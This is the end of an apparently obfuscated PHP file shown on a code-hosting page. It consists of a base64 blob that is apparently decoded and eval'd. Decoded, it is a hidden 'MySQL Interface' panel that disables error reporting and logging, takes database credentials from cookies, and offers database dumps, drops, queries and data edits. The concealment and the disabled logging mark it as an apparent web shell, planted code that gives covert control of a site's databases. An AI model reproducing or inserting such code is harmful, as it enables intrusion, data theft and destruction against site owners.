bCgpIHsNCglnbG9iYWwgJFBIUF9TRUxGOw0KCQ0KZWNobyAnDQ o8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPk15U1FMIEludGVyZmFj ZTwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPC EtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMxMWJiMzM7DQoJ Zm9udC1zaXplOiBzbWFsbDsNCn0NCmgxIHsNCgljb2xvcjogI0 E0QTI2MDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAj QkRCRTQyOw0KCWNvbG9yOiAjRkZGRkZGOw0KCWZvbnQtc2l6ZT ogeC1zbWFsbDsNCn0NCnRkIHsNCgliYWNrZ3JvdW5kLWNvbG9y OiAjREVERkE1Ow0KCWZvbnQtc2l6ZTogeC1zbWFsbDsNCn0NCm Zvcm0gew0KCW1hcmdpbi10b3A6IDA7DQoJbWFyZ2luLWJvdHRv bTogMDsNCn0NCmEgew0KCXRleHQtZGVjb3JhdGlvbjpub25lOw 0KCWNvbG9yOiAjODQ4MjAwOw0KCWZvbnQtc2l6ZTp4LXNtYWxs Ow0KfQ0KYTpsaW5rIHsNCn0NCmE6aG92ZXIgew0KCWJhY2tncm 91bmQtY29sb3I6I0VFRUZENTsNCgljb2xvcjojNjQ2MjAwOw0K CXRleHQtZGVjb3JhdGlvbjpub25lICAgICAgICAgICAgICAgDQ p9DQovLy0tPg0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0K JzsNCn0NCg0KZnVuY3Rpb24gZm9vdGVyX2h0bWwoKSB7DQoJZ2 xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFt ZSwgJFBIUF9TRUxGLCAkVVNFUk5BTUU7DQoNCgllY2hvICI8aH I+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjb2xvcj1ibHVl PlskVVNFUk5BTUVdPC9mb250PiAtIFxuIjsNCg0KCWVjaG8gIj xhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249bGlzdERCcyc+RGF0 YWJhc2UgTGlzdDwvYT4gfCBcbiI7DQoJaWYoICR0YWJsZW5hbW UgIT0gIiIgKQ0KCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/ YWN0aW9uPWxpc3RUYWJsZXMmZGJuYW1lPSRkYm5hbWUmdGFibG VuYW1lPSR0YWJsZW5hbWUnPlRhYmxlIExpc3Q8L2E+IHwgIjsN CgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aW xzJz5VdGlsczwvYT4gfFxuIjsNCgllY2hvICI8YSBocmVmPSck UEhQX1NFTEY/YWN0aW9uPWxvZ291dCc+TG9nb3V0PC9hPlxuIj sNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIjwvYm9keT5c biI7DQoJZWNobyAiPC9odG1sPlxuIjsNCn0NCg0KDQoNCg0KLy 8tLS0tLS0tLS0tLS0tIE1BSU4gLS0tLS0tLS0tLS0tLSAvLw0K ZXJyb3JfcmVwb3J0aW5nKDApOw0KaW5pX3NldCAoJ2Rpc3BsYX lfZXJyb3JzJywgMCk7DQppbmlfc2V0ICgnbG9nX2Vycm9ycycs IDApOw0KDQppZiggJGFjdGlvbiA9PSAibG9nb24iIHx8ICRhY3 Rpb24gPT0gIiIgfHwgJGFjdGlvbiA9PSAibG9nb3V0IiApDQoJ bG9nb24oKTsNCmVsc2UgaWYoICRhY3Rpb24gPT0gImxvZ29uX3 N1Ym1pdCIgKQ0KCWxvZ29uX3N1Ym1pdCgpOw0KZWxzZSBpZigg JGFjdGlvbiA9PSAiZHVtcFRhYmxlIiB8fCAkYWN0aW9uID09IC JkdW1wREIiICkgew0KCXdoaWxlKCBsaXN0KCR2YXIsICR2YWx1 ZSkgPSBlYWNoKCRIVFRQX0NPT0tJRV9WQVJTKSApIHsNCgkJaW YoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIg KSAkVVNFUk5BTUUgPSAkdmFsdWU7DQoJCWlmKCAkdmFyID09IC JteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiICkgJFBBU1NXT1JE ID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2 FkbWluX2hvc3RuYW1lIiApICRIT1NUTkFNRSA9ICR2YWx1ZTsN Cgl9DQoJJG15c3FsSGFuZGxlID0gbXlzcWxfcGNvbm5lY3QoIC RIT1NUTkFNRSwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCglk dW1wKCk7DQp9IGVsc2Ugew0KCXdoaWxlKCBsaXN0KCR2YXIsIC R2YWx1ZSkgPSBlYWNoKCRIVFRQX0NPT0tJRV9WQVJTKSApIHsN CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl91c2Vybm FtZSIgKSAkVVNFUk5BTUUgPSAkdmFsdWU7DQoJCWlmKCAkdmFy ID09ICJteXNxbF93ZWJfYWRtaW5fcGFzc3dvcmQiICkgJFBBU1 NXT1JEID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxf d2ViX2FkbWluX2hvc3RuYW1lIiApICRIT1NUTkFNRSA9ICR2YW x1ZTsNCgl9DQoJZWNobyAiPCEtLSI7DQoJJG15c3FsSGFuZGxl ID0gbXlzcWxfcGNvbm5lY3QoICRIT1NUTkFNRSwgJFVTRVJOQU 1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KDQoJaWYo ICRteXNxbEhhbmRsZSA9PSBmYWxzZSApIHsNCgkJZWNobyAiPG h0bWw+XG4iOw0KCQllY2hvICI8aGVhZD5cbiI7DQoJCWVjaG8g Ijx0aXRsZT5NeVNRTCBJbnRlcmZhY2U8L3RpdGxlPlxuIjsNCg kJZWNobyAiPC9oZWFkPlxuIjsNCgkJZWNobyAiPGJvZHk+XG4i Ow0KCQllY2hvICI8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9MT AwJT48dHI+PHRkPjxjZW50ZXI+XG4iOw0KCQllY2hvICI8aDE+ V3JvbmcgUGFzc3dvcmQhPC9oMT5cbiI7DQoJCWVjaG8gIjxhIG hyZWY9JyRQSFBfU0VMRj9hY3Rpb249bG9nb24nPkxvZ29uPC9h PlxuIjsNCgkJZWNobyAiPC9jZW50ZXI+PC90ZD48L3RyPjwvdG FibGU+XG4iOw0KCQllY2hvICI8L2JvZHk+XG4iOw0KCQllY2hv ICI8L2h0bWw+XG4iOw0KCX0gZWxzZSB7DQoJCWhlYWRlcl9odG 1sKCk7DQoJCWlmKCAkYWN0aW9uID09ICJsaXN0REJzIiApDQoJ CQlsaXN0RGF0YWJhc2VzKCk7DQoJCWVsc2UgaWYoICRhY3Rpb2 4gPT0gImNyZWF0ZURCIiApDQoJCQljcmVhdGVEYXRhYmFzZSgp Ow0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkcm9wREIiICkNCg kJCWRyb3BEYXRhYmFzZSgpOw0KCQllbHNlIGlmKCAkYWN0aW9u ID09ICJsaXN0VGFibGVzIiApDQoJCQlsaXN0VGFibGVzKCk7DQ oJCWVsc2UgaWYoICRhY3Rpb24gPT0gImNyZWF0ZVRhYmxlIiAp DQoJCQljcmVhdGVUYWJsZSgpOw0KCQllbHNlIGlmKCAkYWN0aW 9uID09ICJkcm9wVGFibGUiICkNCgkJCWRyb3BUYWJsZSgpOw0K CQllbHNlIGlmKCAkYWN0aW9uID09ICJ2aWV3U2NoZW1hIiApDQ oJCQl2aWV3U2NoZW1hKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24g PT0gInF1ZXJ5IiApDQoJCQl2aWV3RGF0YSggJHF1ZXJ5U3RyIC k7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkIiAp DQoJCQltYW5hZ2VGaWVsZCggImFkZCIgKTsNCgkJZWxzZSBpZi ggJGFjdGlvbiA9PSAiYWRkRmllbGRfc3VibWl0IiApDQoJCQlt YW5hZ2VGaWVsZF9zdWJtaXQoICJhZGQiICk7DQoJCWVsc2UgaW YoICRhY3Rpb24gPT0gImVkaXRGaWVsZCIgKQ0KCQkJbWFuYWdl RmllbGQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID 09ICJlZGl0RmllbGRfc3VibWl0IiApDQoJCQltYW5hZ2VGaWVs ZF9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW 9uID09ICJkcm9wRmllbGQiICkNCgkJCWRyb3BGaWVsZCgpOw0K CQllbHNlIGlmKCAkYWN0aW9uID09ICJ2aWV3RGF0YSIgKQ0KCQ kJdmlld0RhdGEoICIiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24g PT0gImFkZERhdGEiICkNCgkJCW1hbmFnZURhdGEoICJhZGQiIC k7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZERhdGFfc3Vi bWl0IiApDQoJCQltYW5hZ2VEYXRhX3N1Ym1pdCggImFkZCIgKT sNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdERhdGEiICkN CgkJCW1hbmFnZURhdGEoICJlZGl0IiApOw0KCQllbHNlIGlmKC AkYWN0aW9uID09ICJlZGl0RGF0YV9zdWJtaXQiICkNCgkJCW1h bmFnZURhdGFfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZi ggJGFjdGlvbiA9PSAiZGVsZXRlRGF0YSIgKQ0KCQkJZGVsZXRl RGF0YSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJ1dGlscy IgKQ0KCQkJdXRpbHMoKTsNCg0KCQlteXNxbF9jbG9zZSggJG15 c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQ o=')); ?>
\ No newline at end of file
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment